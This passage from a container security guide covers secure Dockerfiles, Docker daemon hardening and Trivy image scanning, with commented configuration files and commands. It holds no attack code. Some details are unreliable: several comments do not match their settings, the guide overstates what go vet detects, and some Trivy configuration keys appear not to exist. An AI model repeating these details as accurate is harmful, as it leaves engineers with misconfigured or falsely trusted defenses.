chain attacks where dependencies are tampered with during download.</li><li>Build-Time Security Scanning: Integrating Trivy into the build stage ensures dependencies are scanned for vulnerabilities before the application is compiled. If critical vulnerabilities are detected, the build fails, preventing vulnerable images from being created.</li><li>Static Analysis: Running go vet performs static analysis on the source code to catch potential bugs and security issues before compilation. This catches common issues like SQL injection vulnerabilities, race conditions, and improper error handling.</li><li>Secure Compilation Flags: The build command uses multiple security-focused flags:</li></ol><ul><li>CGO_ENABLED=0 disables CGO, creating a fully static binary with no external dependencies. This is critical for running from scratch base images and reduces the risk of library-level vulnerabilities.</li><li>-ldflags=&#39;-w -s&#39; strips debug information and symbol tables, making the binary smaller and more difficult to reverse engineer.</li><li>-extldflags &quot;-static&quot; ensures the binary is fully statically linked.</li><li>The ldd check verifies the binary is indeed static, which is essential for the scratch base image to work.</li></ul><p>Runtime Stage Security Benefits:</p><ol><li>Scratch Base Image: Starting from the scratch image means the container contains literally nothing except the kernel interface and what we explicitly copy. There is no shell, no package manager, no system utilities — nothing an attacker could leverage for lateral movement or privilege escalation.</li><li>Minimal Content: Only three things are copied to the runtime image: CA certificates (required for HTTPS connections), user configuration (required for running as non-root), and the application binary itself. This represents the absolute minimum required for the application to function.</li><li>Non-Root User: Even in a scratch image, the application runs as a non-root user, providing defense in depth. If the application is compromised, the attacker has limited capabilities even within the already-minimal container.</li><li>Binary-Only Deployment: With no source code, build scripts, or intermediate artifacts in the production image, there’s no risk of intellectual property exposure or attackers analyzing source code for vulnerabilities.</li><li>Immutable Deployment: The lack of package managers and shells makes it impossible to modify the container at runtime. Any attempts to install tools or modify the system will fail, preventing many persistence and lateral movement techniques.</li></ol><p>Operational Considerations: While this approach provides excellent security, it requires teams to adapt their operational practices. Traditional debugging with docker exec doesn&#39;t work in scratch-based containers since there&#39;s no shell. Teams must rely on:</p><ul><li>Structured logging sent to external systems</li><li>Distributed tracing for understanding application behavior</li><li>External debugging and profiling tools</li><li>Development containers with full tooling for pre-production testing</li></ul><p>Many organizations use multi-stage builds with regular base images during development for easy debugging, then switch to scratch-based images for production deployments where security is paramount.</p><h3>1.4 Dockerfile Security Best Practices</h3><p>Beyond base image selection and multi-stage builds, numerous Dockerfile instructions and patterns impact container security. Writing secure Dockerfiles requires understanding these patterns and consistently applying security best practices.</p><p>USER Directive — Never Run as Root: Running containers as root is one of the most common security misconfigurations and one of the easiest to fix. When containers run as root, a compromised application gains root privileges within the container, making privilege escalation and container escape attacks more likely to succeed. Even though container isolation provides some protection, defense in depth dictates running with minimum necessary privileges.</p><p>COPY vs ADD — Preventing Archive Exploits: The ADD instruction has automatic extraction capabilities for archives and supports URL sources, but these features create security risks. ADD will automatically extract tar archives, which could be exploited to overwrite system files if not carefully controlled. The COPY instruction is more predictable and should be preferred. Only use ADD when you specifically need its special features, and always validate archive contents.</p><p>RUN Command Security — Avoiding Unnecessary Tools: Each RUN instruction creates a layer in the Docker image, and these layers persist even if later instructions remove files. This means secrets accidentally included in intermediate layers remain accessible in the image. Security-sensitive operations should never write secrets to disk, should clean up after themselves in the same RUN instruction, and should combine related commands to minimize layers.</p><pre># ==============================================================================<br># COMPREHENSIVE DOCKERFILE SECURITY EXAMPLE<br># Demonstrates all major security best practices for production containers<br># ==============================================================================</pre><pre># Start from official, version-pinned base image<br># Always use specific versions, never use &#39;latest&#39; tag<br># Pin to digest for immutability: image content cannot change<br>FROM node:18.17.0-alpine@sha256:abc123...# =============================================================================<br># STAGE 1: DEPENDENCY INSTALLATION (runs as root, needed for system packages)<br># =============================================================================# Install system dependencies in a single layer to minimize image size<br># --no-cache prevents cache poisoning and reduces image size<br># Pin package versions to ensure reproducible builds<br>RUN apk add --no-cache \<br>    # Only include absolutely necessary system packages<br>    dumb-init=1.2.5-r2 \<br>    &amp;&amp; rm -rf /var/cache/apk/*# Create non-root user and group with fixed UID/GID<br># Fixed IDs ensure consistency across container restarts<br># Never rely on automatic UID assignment which varies<br>RUN addgroup -g 10001 -S appgroup &amp;&amp; \<br>    adduser -u 10001 -S appuser -G appgroup# Create application directory with proper ownership<br># Set permissions before switching to non-root user<br>RUN mkdir -p /home/appuser/app &amp;&amp; \<br>    chown -R appuser:appgroup /home/appuser/app# =============================================================================<br># STAGE 2: APPLICATION SETUP (switch to non-root user)<br># =============================================================================# Switch to non-root user for all subsequent operations<br># This ensures package installation and app setup run without root privileges<br>USER appuser# Set working directory owned by appuser<br>WORKDIR /home/appuser/app# Copy package definition files<br># Use COPY instead of ADD (more predictable, no automatic extraction)<br>COPY --chown=appuser:appgroup package*.json ./# Install Node.js dependencies with security flags<br># --only=production: Exclude devDependencies from production image<br># --no-optional: Skip optional dependencies (reduce attack surface)<br># npm audit: Check for known vulnerabilities during build<br>RUN npm ci --only=production --no-optional &amp;&amp; \<br>    # Audit dependencies and fail build if HIGH/CRITICAL vulns found<br>    npm audit --audit-level=high &amp;&amp; \<br>    # Remove npm cache to reduce image size and eliminate temp files<br>    npm cache clean --force &amp;&amp; \<br>    # Remove package manager files that aren&#39;t needed at runtime<br>    rm -f package-lock.json# Copy application source code<br># .dockerignore should exclude: .git, tests, docs, CI configs<br>COPY --chown=appuser:appgroup . .# Remove any files that shouldn&#39;t be in production image<br># This includes test files, documentation, development configs<br>RUN rm -rf \<br>    test/ \<br>    tests/ \<br>    docs/ \<br>    *.md \<br>    .git/ \<br>    .github/ \<br>    .gitignore \<br>    .dockerignore# =============================================================================<br># SECURITY METADATA AND CONFIGURATION<br># =============================================================================# Document application metadata using OCI labels<br># These labels provide security and operational context<br>LABEL maintainer=&quot;security@company.com&quot; \<br>      org.opencontainers.image.title=&quot;Secure Node Application&quot; \<br>      org.opencontainers.image.description=&quot;Production Node.js microservice&quot; \<br>      org.opencontainers.image.version=&quot;1.0.0&quot; \<br>      org.opencontainers.image.vendor=&quot;Company Inc&quot; \<br>      org.opencontainers.image.created=&quot;2024-01-01&quot; \<br>      security.contact=&quot;security@company.com&quot; \<br>      security.scanningRequired=&quot;true&quot;# Expose port - documentation only, does not actually publish<br># Always use non-privileged port (&gt;1024) to avoid requiring root<br>EXPOSE 8080# Set environment variables for security<br>ENV NODE_ENV=production \<br>    # Prevent npm from sending telemetry<br>    NPM_CONFIG_LOGLEVEL=error \<br>    # Ensure Node.js doesn&#39;t run as PID 1 (handled by dumb-init)<br>    NODE_OPTIONS=&quot;--max-old-space-size=512&quot;# Configure health check for orchestration platforms<br># Kubernetes/Docker can use this to determine container health<br>HEALTHCHECK --interval=30s \<br>            --timeout=5s \<br>            --start-period=10s \<br>            --retries=3 \<br>            CMD node /home/appuser/app/healthcheck.js# Use dumb-init to properly handle signals and reap zombie processes<br># This ensures graceful shutdown and prevents PID 1 zombie problems<br># CRITICAL: PID 1 has special responsibilities in Linux that apps don&#39;t handle<br>ENTRYPOINT [&quot;dumb-init&quot;, &quot;--&quot;]# Define the command to run the application<br># Use exec form (JSON array) not shell form to avoid shell process<br>CMD [&quot;node&quot;, &quot;server.js&quot;]# =============================================================================<br># SECURITY SUMMARY OF THIS DOCKERFILE:<br># ✓ Version-pinned base image with digest<br># ✓ Minimal system packages (only dumb-init)<br># ✓ Runs as non-root user (UID 10001)<br># ✓ Fixed UID/GID for consistency<br># ✓ COPY instead of ADD (no automatic extraction)<br># ✓ Single-layer package installation<br># ✓ Production dependencies only (no devDependencies)<br># ✓ Vulnerability scanning during build (npm audit)<br># ✓ Removed package manager cache<br># ✓ Removed unnecessary files (tests, docs, etc.)<br># ✓ OCI labels for security tracking<br># ✓ Health check configuration<br># ✓ Proper signal handling with dumb-init<br># ✓ Non-privileged port (8080, not 80)<br># ✓ Exec form CMD (no shell wrapper)<br># =============================================================================</pre><p>Detailed Analysis of Security Controls:</p><p>Image Version Pinning: The Dockerfile uses FROM node:18.17.0-alpine@sha256:abc123... which pins not just the version (18.17.0) but also the specific image digest. This ensures the exact same image is used every time, preventing potential attacks where an attacker compromises the image registry and replaces images with malicious versions. Without digest pinning, even a version-pinned tag like 18.17.0 could potentially be overwritten in the registry.</p><p>Non-Root User Implementation: The Dockerfile creates a dedicated user (appuser) with a fixed UID (10001) and runs all application operations as this user. Fixed UIDs are important because they ensure consistent file ownership across container restarts and different nodes in a cluster. Random or automatic UID assignment can cause permission issues with persistent volumes. The specific UID (10001) is chosen to be high enough to avoid conflicts with system users but consistent enough to use in security policies.</p><p>COPY vs ADD Security: Using COPY instead of ADD prevents several potential security issues. ADD automatically extracts tar archives and supports fetching URLs, both of which create attack vectors. An attacker who can control archive contents could potentially overwrite system files during the extraction process. COPY is more predictable and safer.</p><p>Dependency Security — Production Only: The npm ci --only=production command installs only production dependencies, excluding devDependencies that might include testing frameworks, build tools, or other packages not needed at runtime. Development dependencies often have higher vulnerability rates and larger attack surfaces. The --no-optional flag further reduces attack surface by skipping optional dependencies.</p><p>Build-Time Security Scanning: Including npm audit --audit-level=high in the Dockerfile ensures the build fails if high or critical vulnerabilities are found in dependencies. This &quot;shift-left&quot; approach catches vulnerabilities before images are published to registries or deployed to production. Teams must maintain updated dependencies to keep builds passing.</p><p>Cache and Temporary File Cleanup: After installing dependencies, the Dockerfile removes the npm cache (npm cache clean --force) and the package-lock.json file. These files serve no purpose at runtime but increase image size and potentially expose information about the build environment. All cleanup operations happen in the same RUN instruction as the installation to ensure they affect the same image layer.</p><p>Security Labels: OCI (Open Container Initiative) labels provide standardized metadata that security tools can use to track and manage container images. The security.contact label indicates who to notify about security issues, while security.scanningRequired can trigger automated security scanning workflows.</p><p>Healthcheck Configuration: The HEALTHCHECK instruction enables container orchestrators to verify application health without relying on the application’s ability to accept network connections. This is more reliable than port checks and can detect scenarios where the application is running but unable to process requests correctly.</p><p>PID 1 and dumb-init: In Linux, PID 1 has special responsibilities including reaping zombie processes and handling signals correctly. Most applications aren’t designed to handle these responsibilities. Using dumb-init as the entrypoint ensures signals are handled correctly (enabling graceful shutdown) and zombie processes are reaped (preventing resource leaks). This is a subtle but important security consideration.</p><p>Exec vs Shell Form: The CMD uses exec form ([&quot;node&quot;, &quot;server.js&quot;]) rather than shell form (CMD node server.js). Exec form runs the application directly as PID 1 (or PID 2 with dumb-init), while shell form wraps it in a shell process. The shell wrapper interferes with signal handling and creates an unnecessary additional process. Exec form is more efficient and provides better security.</p><h3>1.5 Docker Daemon Security Configuration</h3><p>The Docker daemon (dockerd) runs with root privileges and has extensive control over the host system. Securing the daemon is critical because vulnerabilities or misconfigurations can lead to complete host compromise. Docker daemon security involves configuring the daemon itself, securing the Docker socket, and implementing proper access controls.</p><p>Docker Socket Security: The Docker socket (/var/run/docker.sock) is a Unix socket that provides API access to the Docker daemon. Any process with access to this socket has full control over the Docker daemon and, by extension, the host system. Mounting the Docker socket into containers is extremely dangerous—it&#39;s effectively giving the container root access to the host. Despite this, mounting the Docker socket is unfortunately common in Docker-in-Docker scenarios and various dev tools.</p><p>Docker Daemon Configuration: The daemon configuration file (/etc/docker/daemon.json on Linux) controls numerous security-relevant settings. Proper configuration can significantly improve security posture.</p><pre>{<br>  <br>  &quot;live-restore&quot;: true,<br>  &quot;userland-proxy&quot;: false,<br>  &quot;no-new-privileges&quot;: true,<br>  <br>  &quot;icc&quot;: false,<br>  &quot;iptables&quot;: true,<br>  &quot;ip-forward&quot;: false,<br>  <br>  &quot;userns-remap&quot;: &quot;default&quot;,<br>  <br>  &quot;log-driver&quot;: &quot;json-file&quot;,<br>  &quot;log-opts&quot;: {<br>    &quot;max-size&quot;: &quot;10m&quot;,<br>    &quot;max-file&quot;: &quot;3&quot;,<br>    &quot;labels&quot;: &quot;production&quot;,<br>    &quot;env&quot;: &quot;os,customer&quot;<br>  },<br>  <br>  &quot;authorization-plugins&quot;: [&quot;docker-auth-plugin&quot;],<br>  <br>  &quot;storage-driver&quot;: &quot;overlay2&quot;,<br>  &quot;storage-opts&quot;: [<br>    &quot;overlay2.override_kernel_check=true&quot;<br>  ],<br>  <br>  &quot;default-ulimits&quot;: {<br>    &quot;nofile&quot;: {<br>      &quot;Name&quot;: &quot;nofile&quot;,<br>      &quot;Hard&quot;: 64000,<br>      &quot;Soft&quot;: 64000<br>    },<br>    &quot;nproc&quot;: {<br>      &quot;Name&quot;: &quot;nproc&quot;,<br>      &quot;Hard&quot;: 16384,<br>      &quot;Soft&quot;: 16384<br>    }<br>  },<br>  <br>  &quot;exec-opts&quot;: [&quot;native.cgroupdriver=systemd&quot;],<br>  <br>  &quot;seccomp-profile&quot;: &quot;/etc/docker/seccomp-profile.json&quot;,<br>  <br>  &quot;selinux-enabled&quot;: true,<br>  <br>  &quot;cgroup-parent&quot;: &quot;/docker&quot;,<br>  <br>  &quot;default-runtime&quot;: &quot;runc&quot;,<br>  &quot;runtimes&quot;: {<br>    &quot;runc&quot;: {<br>      &quot;path&quot;: &quot;/usr/bin/runc&quot;<br>    }<br>  },<br>  <br>  &quot;bridge&quot;: &quot;none&quot;,<br>  &quot;ip&quot;: &quot;127.0.0.1&quot;,<br>  &quot;registry-mirrors&quot;: [<br>    &quot;https://registry-mirror.company.internal&quot;<br>  ],<br>  &quot;insecure-registries&quot;: [],<br>  <br>  &quot;metrics-addr&quot;: &quot;127.0.0.1:9323&quot;,<br>  &quot;experimental&quot;: false,<br>  &quot;debug&quot;: false<br>}</pre><p>Detailed Explanation of Security-Critical Configuration Options:</p><p>User Namespace Remapping (userns-remap): This is perhaps the single most important security configuration for Docker. When enabled, Docker remaps container user IDs to different user IDs on the host. For example, root (UID 0) inside a container might be mapped to UID 100000 on the host, which is an unprivileged user. This dramatically reduces the impact of container escape vulnerabilities—an attacker who breaks out of the container still has only unprivileged access to the host system.</p><p>User namespace remapping is not enabled by default because it can cause compatibility issues with applications that make assumptions about UIDs, and it requires reconfiguring file ownership for existing volumes. However, the security benefits are so significant that organizations should prioritize enabling it and addressing any resulting compatibility issues.</p><p>Default Security Options (no-new-privileges): Setting no-new-privileges: true prevents processes in containers from gaining additional privileges through setuid binaries, file capabilities, or other privilege escalation mechanisms. This is equivalent to using the --security-opt no-new-privileges flag with every container, providing consistent baseline security.</p><p>Inter-Container Communication (icc): Setting icc: false disables direct communication between containers on the default bridge network. Containers can only communicate if explicitly linked or connected to the same user-defined network. This provides better network isolation and prevents lateral movement attacks where a compromised container attempts to access other containers on the same host.</p><p>IP Forwarding (ip-forward): Disabling IP forwarding (ip-forward: false) prevents containers from routing traffic between different networks. This should only be enabled if containers legitimately need to act as routers, which is rare in typical application scenarios.</p><p>Authorization Plugins: Docker supports authorization plugins that can enforce fine-grained access control policies for Docker API operations. These plugins can restrict who can create privileged containers, mount sensitive host paths, or access the Docker socket. Authorization plugins are essential for multi-tenant environments or when multiple teams share Docker hosts.</p><p>Logging Configuration: Proper logging configuration (log-driver and log-opts) ensures container logs are captured appropriately for security monitoring. The max-size and max-file options prevent logs from consuming excessive disk space (which could be used for denial-of-service attacks). Sending logs to external systems ensures they survive container termination and can&#39;t be tampered with by attackers.</p><p>Storage Driver Security: The overlay2 storage driver is the recommended storage driver for production use. It provides better performance and security characteristics than older drivers like aufs or devicemapper. Proper storage driver configuration is important for performance and for preventing storage exhaustion attacks.</p><p>Seccomp Profile: The seccomp-profile option specifies a custom seccomp profile for all containers. Seccomp profiles restrict which system calls containers can make, providing critical defense against kernel exploits. Custom profiles can be tailored to specific application needs, blocking even more system calls than Docker&#39;s default profile.</p><p>SELinux Integration: Enabling SELinux (selinux-enabled: true) provides mandatory access control that restricts container operations. SELinux policies can prevent containers from accessing sensitive files, making certain network connections, or performing dangerous operations even if the container is compromised. SELinux is particularly important in highly regulated industries.</p><p>Resource Limits (default-ulimits): Setting default ulimits ensures all containers have reasonable resource limits even if not explicitly specified. This prevents resource exhaustion attacks where containers consume all available file descriptors or create excessive processes. These limits should be tuned based on expected application behavior.</p><p>Registry Security: The registry-mirrors and insecure-registries options control how Docker interacts with container registries. Using registry mirrors can improve performance and reliability, but only trusted mirrors should be configured. The insecure-registries array should be empty in production—all registry communication should use HTTPS with proper certificate validation.</p><p>Metrics and Debugging: Binding metrics to localhost (metrics-addr: 127.0.0.1:9323) prevents unauthorized access to Docker daemon metrics, which could reveal sensitive information about running containers and system resource usage. Similarly, debug mode should be disabled in production as it can expose sensitive information and reduce performance.</p><p>This comprehensive Docker daemon configuration provides strong baseline security for Docker hosts. However, configuration alone is insufficient — proper operational practices including regular updates, monitoring, and access control are equally important for maintaining secure Docker deployments.</p><h3>Chapter 2: Container Image Security Scanning</h3><p>Vulnerability scanning is a fundamental component of container security, enabling organizations to identify and remediate known security issues before they reach production. Container images frequently contain vulnerable software components — base OS packages, language runtimes, application dependencies — that attackers can exploit. Comprehensive image scanning integrated into CI/CD pipelines ensures vulnerabilities are caught early in the software lifecycle, where they’re cheapest and easiest to fix.</p><h3>2.1 Understanding Container Vulnerability Scanning</h3><p>Container vulnerability scanning tools analyze image layers to identify installed software packages and their versions, then compare this inventory against databases of known vulnerabilities (primarily the National Vulnerability Database maintained by NIST). The scanning process extracts package manifests from various package managers (apt, yum, apk, pip, npm, etc.), identifies all installed versions, and correlates them with CVE (Common Vulnerabilities and Exposures) records.</p><p>Types of Vulnerabilities Detected:</p><p>Container scanners typically detect several categories of vulnerabilities:</p><ol><li>Operating System Package Vulnerabilities: These are vulnerabilities in system packages installed via OS package managers (apt, yum, apk, etc.). Base images often contain numerous packages, many of which may have known vulnerabilities. OS package vulnerabilities are usually well-documented in distributions’ security advisories and can often be fixed by updating the base image or installing package updates.</li><li>Application Dependency Vulnerabilities: These affect packages installed via language-specific package managers (pip, npm, gem, maven, etc.). Application dependencies are frequently the source of critical vulnerabilities because they’re numerous, deeply nested (dependencies of dependencies), and applications often use outdated versions. Tools like Trivy and Grype can detect vulnerabilities in application dependencies across multiple languages.</li><li>Embedded Binaries and Libraries: Some images contain compiled binaries or shared libraries that aren’t managed by any package manager. These can be challenging to scan because there’s no manifest indicating what they are or what version they are. Advanced scanners use techniques like binary analysis and signature matching to identify these components.</li><li>Configuration Issues: Beyond code vulnerabilities, some scanners detect security misconfigurations like weak cryptographic algorithms, insecure protocol versions, or dangerous default configurations. These issues don’t have CVE identifiers but can be equally serious.</li></ol><p>Vulnerability Severity Ratings:</p><p>Vulnerabilities are typically rated using the Common Vulnerability Scoring System (CVSS), which assigns scores from 0–10 based on factors like exploitability, impact, and scope. Scores are generally categorized as:</p><ul><li>Critical (9.0–10.0): Remotely exploitable with severe impact</li><li>High (7.0–8.9): Significant security risk requiring prompt attention</li><li>Medium (4.0–6.9): Moderate risk that should be addressed</li><li>Low (0.1–3.9): Minor risk with limited impact</li><li>Informational: Not a vulnerability but noteworthy security information</li></ul><p>Organizations typically prioritize remediation based on severity, focusing first on critical and high-severity vulnerabilities in internet-facing applications, then working through medium and low severity issues based on risk assessments.</p><p>False Positives and Vulnerability Context:</p><p>Vulnerability scanners inevitably produce false positives — reported vulnerabilities that don’t actually affect the application. This happens because:</p><ul><li>The vulnerable code path isn’t accessible in the application’s deployment context</li><li>The vulnerability requires specific conditions that don’t exist in the environment</li><li>The scanner incorrectly identifies a package version</li><li>The vulnerability was already patched through backports or vendor-specific fixes</li></ul><p>Managing false positives is a significant operational challenge. Organizations need processes for triaging scan results, verifying exploitability, documenting false positives, and creating exceptions for issues that can’t be fixed immediately.</p><h3>2.2 Trivy: Comprehensive Vulnerability Scanner</h3><p>Trivy is an open-source vulnerability scanner developed by Aqua Security that has become the de facto standard for container image scanning. Trivy detects vulnerabilities in OS packages, application dependencies, Infrastructure as Code misconfigurations, and more. Its comprehensive detection capabilities, fast scanning speed, and ease of use make it an excellent choice for CI/CD integration.</p><p>Trivy Architecture and Capabilities:</p><p>Trivy operates by analyzing filesystem contents to identify installed packages and comparing them against its vulnerability database. The database is regularly updated from multiple sources including the National Vulnerability Database, distribution security advisories (Debian Security Tracker, Red Hat Security Advisories, etc.), and language-specific security databases.</p><p>Key Trivy capabilities include:</p><ul><li>Multi-layer Scanning: Trivy analyzes each layer in a Docker image independently, identifying which layer introduced each vulnerability. This helps developers understand where vulnerabilities come from and how to fix them.</li><li>Multiple Package Manager Support: Trivy supports vulnerability detection for OS packages (Alpine, Debian, Ubuntu, Red Hat, CentOS, Amazon Linux, SUSE, Oracle Linux) and application dependencies (npm, yarn, pip, pipenv, composer, bundler, cargo, go modules, maven, gradle, NuGet).</li><li>SBOM Generation: Trivy can generate Software Bill of Materials in various formats (CycloneDX, SPDX), which are essential for supply chain security and vulnerability management.</li><li>License Detection: Beyond vulnerabilities, Trivy can detect software licenses, helping organizations ensure compliance with licensing requirements.</li><li>IaC Scanning: Trivy can scan Kubernetes manifests, Docker files, Terraform configurations, and other Infrastructure as Code for security misconfigurations.</li><li>Secret Detection: Trivy can find accidentally committed secrets like API keys, passwords, and tokens in images.</li></ul><p>Basic Trivy Usage Examples:</p><pre># ==============================================================================<br># TRIVY BASIC IMAGE SCANNING<br># ==============================================================================</pre><pre># Simple scan of an image showing all vulnerabilities<br>trivy image nginx:latest# Scan with severity filtering - only show HIGH and CRITICAL<br># This is the most common usage for CI/CD gates<br>trivy image --severity HIGH,CRITICAL nginx:latest# Scan and output to JSON for automated processing<br># JSON output can be consumed by security dashboards and tracking systems<br>trivy image --format json --output scan-results.json nginx:latest# Scan with exit code control for CI/CD<br># Fails (exit 1) if HIGH or CRITICAL vulnerabilities found<br># This causes CI/CD pipelines to fail, preventing vulnerable images from deployment<br>trivy image --exit-code 1 --severity HIGH,CRITICAL nginx:latest# ==============================================================================<br># TRIVY ADVANCED OPTIONS<br># ==============================================================================# Scan specific image layers to identify where vulnerabilities were introduced<br># Useful for understanding which Dockerfile instruction created the problem<br>trivy image --format json nginx:latest | jq &#39;.Results[].Vulnerabilities[] | select(.PkgName == &quot;openssl&quot;)&#39;# Generate SBOM (Software Bill of Materials)<br># CycloneDX and SPDX formats are industry standards for SBOM<br>trivy image --format cyclonedx --output nginx-sbom.json nginx:latest# Scan for specific vulnerability IDs<br># Useful when you need to verify if a specific CVE affects your images<br>trivy image --vuln-type os --severity HIGH --ignore-unfixed \<br>  nginx:latest | grep CVE-2024-1234# Scan with custom policy<br># Policies can define organization-specific rules beyond just vulnerabilities<br>trivy image --config trivy-config.yaml nginx:latest# ==============================================================================<br># TRIVY SCANNING DOCKER FILES<br># ==============================================================================# Scan Dockerfile for best practice violations<br># Identifies security issues in Dockerfile instructions before building<br>trivy config Dockerfile# Scan entire directory of Infrastructure as Code<br># Useful for scanning Kubernetes manifests, Terraform configs, etc.<br>trivy config ./k8s-manifests/# ==============================================================================<br># TRIVY KUBERNETES CLUSTER SCANNING<br># ==============================================================================# Scan running Kubernetes cluster for vulnerabilities<br># Analyzes all running container images in the cluster<br>trivy k8s --report summary cluster# Scan specific Kubernetes resources<br>trivy k8s --report all deploy/nginx# ==============================================================================<br># TRIVY CI/CD INTEGRATION EXAMPLE<br># ==============================================================================# Typical CI/CD scanning command with multiple checks<br># This command:<br># 1. Scans for HIGH/CRITICAL vulnerabilities only<br># 2. Ignores vulnerabilities without fixes (reduces noise)<br># 3. Fails the build if issues found<br># 4. Generates JSON report for security dashboards<br># 5. Timeout after 10 minutes (prevents hanging in CI)<br>trivy image \<br>  --severity HIGH,CRITICAL \<br>  --ignore-unfixed \<br>  --exit-code 1 \<br>  --format json \<br>  --output /reports/trivy-scan.json \<br>  --timeout 10m \<br>  myapp:${CI_COMMIT_SHA}</pre><p>Detailed Explanation of Trivy Options:</p><p>Severity Filtering (--severity): The severity filter is crucial for managing false positives and focusing on actionable issues. In practice, organizations typically use --severity HIGH,CRITICAL for CI/CD gates that block deployments, while running periodic scans with all severities for comprehensive vulnerability tracking. Blocking on MEDIUM severity can create too much friction in development processes unless the organization has mature vulnerability management.</p><p>Exit Code Control (--exit-code): Setting --exit-code 1 causes Trivy to return a non-zero exit code when vulnerabilities matching the severity criteria are found. CI/CD systems interpret non-zero exit codes as failures, automatically blocking the pipeline. This prevents vulnerable images from being published to registries or deployed to production.</p><p>Ignoring Unfixed Vulnerabilities (--ignore-unfixed): The --ignore-unfixed flag tells Trivy to suppress vulnerabilities that don&#39;t have available fixes. This significantly reduces noise in scan results because many reported vulnerabilities (especially in base images) don&#39;t have patches available yet. However, organizations should still track unfixed vulnerabilities because they might need to switch base images or implement compensating controls.</p><p>JSON Output (--format json): JSON format output enables automation and integration with security tools. JSON results can be:</p><ul><li>Sent to vulnerability management platforms</li><li>Stored in security dashboards</li><li>Analyzed with tools like jq</li><li>Tracked over time to measure vulnerability trends</li><li>Used for compliance reporting</li></ul><p>Timeout Configuration (--timeout): Setting appropriate timeouts prevents CI/CD pipelines from hanging indefinitely if Trivy encounters problems. Default timeouts might be too short for very large images or slow networks. Production systems should use timeouts of 10-15 minutes for typical images, longer for exceptionally large images.</p><h3>2.3 Advanced Trivy Configuration and Policies</h3><p>While basic Trivy scanning catches many vulnerabilities, production environments benefit from advanced configuration that tailors scanning to organizational policies and reduces false positives.</p><p>Trivy Configuration File:</p><pre># trivy-config.yaml - Advanced Trivy Configuration<br># This configuration demonstrates production-ready settings for enterprise use</pre><pre># Cache settings for faster subsequent scans<br>cache:<br>  # Cache backend - Redis for distributed caching in CI/CD<br>  backend: &quot;redis://redis-server:6379&quot;<br>  # TTL for vulnerability database cache<br>  ttl: 24h# Database configuration<br>db:<br>  # Skip database update if recent (for faster scans in CI/CD)<br>  skip-update: false<br>  # Database path (can be shared across runners)<br>  repository: &quot;ghcr.io/aquasecurity/trivy-db&quot;# Vulnerability settings<br>vulnerability:<br>  # Vulnerability types to scan<br>  type:<br>    - os        # Operating system packages<br>    - library   # Language-specific libraries<br>  # Severity levels to report<br>  severity:<br>    - CRITICAL<br>    - HIGH<br>    - MEDIUM<br>  # Ignore vulnerabilities without fixes<br>  ignore-unfixed: true# Secret scanning configuration<br>secret:<br>  # Enable secret scanning<br>  enabled: true<br>  # Custom secret patterns<br>  config: &quot;.trivy/secret-patterns.yaml&quot;# License scanning configuration<br>license:<br>  # Enable license scanning<br>  enabled: true<br>  # Forbidden license types (fail build if found)<br>  forbidden:<br>    - GPL-3.0<br>    - AGPL-3.0<br>  # Restricted licenses (warn but don&#39;t fail)<br>  restricted:<br>    - LGPL-3.0# Scan settings<br>scan:<br>  # Security checks to perform<br>  security-checks:<br>    - vuln      # Vulnerability scanning<br>    - config    # Configuration scanning<br>    - secret    # Secret scanning<br>    - license   # License scanning# Ignore specific vulnerabilities (exception management)<br>ignores:<br>  # Ignore specific CVEs with justification<br>  - id: CVE-2023-12345<br>    # Justification required for audit trail<br>    reason: &quot;False positive - vulnerable code path not accessible in our deployment&quot;<br>    # Expiration date - forces periodic review<br>    expired-at: &quot;2024-12-31&quot;<br>  <br>  - id: CVE-2023-67890<br>    reason: &quot;Waiting for upstream patch - compensating controls in place (WAF rules block exploit)&quot;<br>    expired-at: &quot;2024-06-30&quot;# Policy configuration for custom rules<br>policy:<br>  # Path to custom Rego policies<br>  policy-bundle: &quot;.trivy/policies/&quot;<br>  # Namespace for policies<br>  namespaces:<br>    - &quot;custom.policies&quot;# Reporting settings<br>report:<br>  # Report format<br>  format: &quot;sarif&quot;  # SARIF format for GitHub Security<br>  # Template for custom report formatting<br>  template: &quot;@trivy/html.tpl&quot;<br>  # Dependency tree in report<br>  dependency-tree: true<br>  # List all packages even without vulnerabilities<br>  list-all-pkgs: false# Timeout settings<br>timeout:<br>  # Overall scan timeout<br>  timeout: 15m<br>  # Timeout for image pulling<br>  image-timeout: 10m# Registry authentication (for private registries)<br>registry:<br>  # Credentials for private registries<br>  credentials:<br>    - registry: &quot;myregistry.company.com&quot;<br>      username: &quot;scanner-service-account&quot;<br>      # Use environment variable for password<br>      password: &quot;${REGISTRY_PASSWORD}&quot;# Kubernetes scanning settings<br>kubernetes:<br>  # Components to scan in cluster<br>  components:<br>    - workload      # Deployments, StatefulSets, etc.<br>    - rbac          # Roles and RoleBindings<br>    - config        # ConfigMaps and Secrets<br>  <br>  # Namespaces to include/exclude<br>  include-namespaces:<br>    - production<br>    - staging<br>  <br>  exclude-namespaces:<br>    - kube-system<br>    - kube-public# Exit code configuration<br>exit-code:<br>  # Exit code when vulnerabilities found<br>  found: 1<br>  # Exit code when errors occur<br>  error: 2<br>  # Severity threshold for exit code<br>  severity-threshold: HIGH</pre><p>Custom Exception Management:</p><p>The ignores section in the configuration file demonstrates a critical capability: managing false positives and exceptions in a structured, auditable way. Each exception includes:</p><ol><li>CVE Identifier: The specific vulnerability being ignored</li><li>Justification: A required human-readable explanation of why this exception is acceptable</li><li>Expiration Date: Forces periodic review to ensure exceptions don’t become permanent</li></ol><p>This approach provides auditability and ensures exceptions are reviewed regularly. The expiration date is critical — many organizations find that exceptions become permanent when there’s no forcing function for review.</p><p>License Scanning Integration:</p><p>The license configuration demonstrates another important use case for Trivy beyond vulnerability scanning. Many organizations have restrictions on which software licenses they can use, particularly around copyleft licenses like GPL that might require releasing source code. Trivy’s license scanning can automatically detect forbidden licenses and fail builds, ensuring compliance.</p><p>Policy-as-Code with Rego:</p><p>Trivy supports custom policies written in Rego (the policy language used by Open Policy Agent). This enables organizations to define custom security requirements beyond just vulnerability thresholds. Examples of custom policies might include:</p><ul><li>Requiring all images to be from approved registries</li><li>Enforcing specific base image versions</li><li>Requiring images to be signed</li><li>Checking for required security labels</li><li>Validating image age (preventing deployment of stale images)</li></ul><p>Integration with Security Tools:</p><p>Trivy supports multiple output formats that enable integration with various security tools:</p><ul><li>SARIF: For GitHub Security integration</li><li>JUnit: For CI/CD systems that understand JUnit format</li><li>Template: For custom formatting using Go templates</li><li>CycloneDX/SPDX: For SBOM management systems</li></ul><h3>2.4 CI/CD Integration Patterns</h3><p>Integrating vulnerability scanning into CI/CD pipelines is essential for catching security issues early. The goal is to provide fast feedback to developers while preventing vulnerable images from reaching production. Effective integration 